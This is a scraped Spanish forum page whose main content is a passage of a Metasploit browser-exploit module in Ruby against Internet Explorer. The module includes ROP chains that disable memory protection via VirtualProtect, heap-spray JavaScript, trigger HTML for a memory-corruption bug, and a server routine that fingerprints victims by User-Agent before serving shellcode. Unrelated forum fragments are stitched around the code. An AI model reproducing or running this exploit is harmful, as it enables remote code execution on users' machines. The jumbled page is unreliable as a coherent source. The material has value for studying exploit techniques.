Muy bien explicado.
+1
			+1
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú def get_payload(t, cli)
                code = payload.encoded
                # No rop. Just return the payload.
                return code if t['Rop'].nil?
                # Both ROP chains generated by mona.py - See corelan.be
                case t['Rop']
                when :msvcrt
                        print_status("Using msvcrt ROP")
                        exec_size = code.length
                        stack_pivot = [
                                0x77c4e393, # RETN
                                0x77c4e392, # POP EAX # RETN
                                0x77c15ed5, # XCHG EAX, ESP # RETN
                        ].pack("V*")
                        rop =
                        [
                                0x77C21891,  # POP ESI # RETN
                                0x0c0c0c04,  # ESI
                                0x77c4e392,  # POP EAX # RETN
                                0x77c11120,  # <- *&VirtualProtect()
                                0x77c2e493,  # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
                                junk,
                                0x77c2dd6c,  # XCHG EAX,ESI # ADD [EAX], AL # RETN
                                0x77c4ec00,  # POP EBP # RETN
                                0x77c35459,  # ptr to 'push esp #  ret'
                                0x77c47705,  # POP EBX # RETN
                                exec_size,   # EBX
                                0x77c3ea01,  # POP ECX # RETN
                                0x77c5d000,  # W pointer (lpOldProtect) (-> ecx)
                                0x77c46100,  # POP EDI # RETN
                                0x77c46101,  # ROP NOP (-> edi)
                                0x77c4d680,  # POP EDX # RETN
                                0x00000040,  # newProtect (0x40) (-> edx)
                                0x77c4e392,  # POP EAX # RETN
                                nop,         # NOPS (-> eax)
                                0x77c12df9,  # PUSHAD # RETN
                        ].pack("V*")
                when :jre
                        print_status("Using JRE ROP")
                        exec_size = 0xffffffff - code.length + 1
                        if t['Random']
                                stack_pivot = [
                                        0x0c0c0c0c, # 0c0c0c08
                                        0x7c347f98, # RETN
                                        0x7c347f97, # POP EDX # RETN
                                        0x7c348b05  # XCHG EAX, ESP # RET
                                ].pack("V*")
                        else
                                stack_pivot = [
                                        0x7c347f98, # RETN
                                        0x7c347f97, # POP EDX # RETN
                                        0x7c348b05  # XCHG EAX, ESP # RET
                                ].pack("V*")
                        end
                        rop =
                        [
                                0x7c37653d,  # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
                                exec_size,   # Value to negate, will become 0x00000201 (dwSize)
                                0x7c347f98,  # RETN (ROP NOP)
                                0x7c3415a2,  # JMP [EAX]
                                0xffffffff,
                                0x7c376402,  # skip 4 bytes
                                0x7c351e05,  # NEG EAX # RETN
                                0x7c345255,  # INC EBX # FPATAN # RETN
                                0x7c352174,  # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
                                0x7c344f87,  # POP EDX # RETN
                                0xffffffc0,  # Value to negate, will become 0x00000040
                                0x7c351eb1,  # NEG EDX # RETN
                                0x7c34d201,  # POP ECX # RETN
                                0x7c38b001,  # &Writable location
                                0x7c347f97,  # POP EAX # RETN
                                0x7c37a151,  # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
                                0x7c378c81,  # PUSHAD # ADD AL,0EF # RETN
                                0x7c345c30,  # ptr to 'push esp #  ret '
                        ].pack("V*")
                end
                code = stack_pivot + rop + code
                return code
        end
        # Spray published by corelanc0d3r
        # Exploit writing tutorial part 11 : Heap Spraying Demystified
        # See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
        def get_random_spray(t, js_code, js_nops)
                spray = <<-JS
                function randomblock(blocksize)
                {
                        var theblock = "";
                        for (var i = 0; i < blocksize; i++)
                        {
                                theblock += Math.floor(Math.random()*90)+10;
                        }
                        return theblock;
                }
                function tounescape(block)
                {
                        var blocklen = block.length;
                        var unescapestr = "";
                        for (var i = 0; i < blocklen-1; i=i+4)
                        {
                                unescapestr += "%u" + block.substring(i,i+4);
                        }
                        return unescapestr;
                }
                var heap_obj = new heapLib.ie(0x10000);
                var code = unescape("#{js_code}");
                var nops = unescape("#{js_nops}");
                while (nops.length < 0x80000) nops += nops;
                var offset_length = #{t['Offset']};
                for (var i=0; i < 0x1000; i++) {
                        var padding = unescape(tounescape(randomblock(0x1000)));
                        while (padding.length < 0x1000) padding+= padding;
                        var junk_offset = padding.substring(0, offset_length);
                        var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);
                        while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
                        sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
                        heap_obj.alloc(sprayblock);
                }
                JS
                return spray
        end
        def get_spray(t, js_code, js_nops)
                js = <<-JS
                var heap_obj = new heapLib.ie(0x20000);
                var code = unescape("#{js_code}");
                var nops = unescape("#{js_nops}");
                while (nops.length < 0x80000) nops += nops;
                var offset = nops.substring(0, #{t['Offset']});
                var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
                while (shellcode.length < 0x40000) shellcode += shellcode;
                var block = shellcode.substring(0, (0x80000-6)/2);
                heap_obj.gc();
                for (var i=1; i < 0x300; i++) {
                        heap_obj.alloc(block);
                }
                var overflow = nops.substring(0, 10);
                JS
        end
        def load_html1(cli, my_target)
                p = get_payload(my_target, cli)
                js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
                js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
                js_r_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
                if my_target['Random']
                        js = get_random_spray(my_target, js_code, js_r_nops)
                else
                        js = get_spray(my_target, js_code, js_nops)
                end
                js = heaplib(js, {:noobfu => true})
                html = <<-EOS
                <html>
                        <body>
                                <script>
                                        var arrr = new Array();
                                        arrr[0] = window.document.createElement("img");
                                        arrr[0]["src"] = "#{Rex::Text.rand_text_alpha(1)}";
                                </script>
                                <iframe src="#{this_resource}/#{@html2_name}"></iframe>
                                <script>
                                        #{js}
                        </script>
                        </body>
                </html>
                EOS
                return html
        end
        def load_html2
                html = %Q|
                <HTML>
                        <script>
                                function funcB() {
                                        document.execCommand("selectAll");
                                };
                                function funcA() {
                                        document.write("#{Rex::Text.rand_text_alpha(1)}");
                                        parent.arrr[0].src = "YMjf\\u0c08\\u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH";
                                }
                        </script>
                        <body onload='funcB();' onselect='funcA()'>
                                <div contenteditable='true'>
                                        a
                                </div>
                        </body>
                </HTML>
                |
                return html
        end
        def this_resource
                r = get_resource
                return ( r == '/') ? '' : r
        end
        def on_request_uri(cli, request)
                print_status request.headers['User-Agent']
                agent = request.headers['User-Agent']
                my_target = get_target(agent)
                # Avoid the attack if the victim doesn't have the same setup we're targeting
                if my_target.nil?
                        print_error("Browser not supported, sending a 404: #{agent.to_s}")
                        send_not_found(cli)
                        return
                end
                vprint_status("Requesting: #{request.uri}")
                if request.uri =~ /#{@html2_name}/
                        print_status("Loading #{@html2_name}")
                        html = load_html2
                elsif request.uri =~ /#{@html1_name}/
                        print_status("Loading #{@html1_name}")
                        html = load_html1(cli, my_target)
                elsif request.uri =~ /\/$/ or request.uri =~ /#{this_resource}$/
                        print_status("Redirecting to #{@html1_name}")
                        send_redirect(cli, "#{this_resource}/#{@html1_name}")
                        return
                else
                        send_not_found(cli)
                        return
                end
                html = html.gsub(/^\t\t/, '')
                send_response(cli, html, {'Content-Type'=>'text/html'})
        end
        def exploit
                @html1_name = "#{Rex::Text.rand_text_alpha(5)}.html"
                @html2_name = "#{Rex::Text.rand_text_alpha(6)}.html"
                super
        end
end

				timer1.interval = 10000
¿Quien dijo la limitación de tiempo?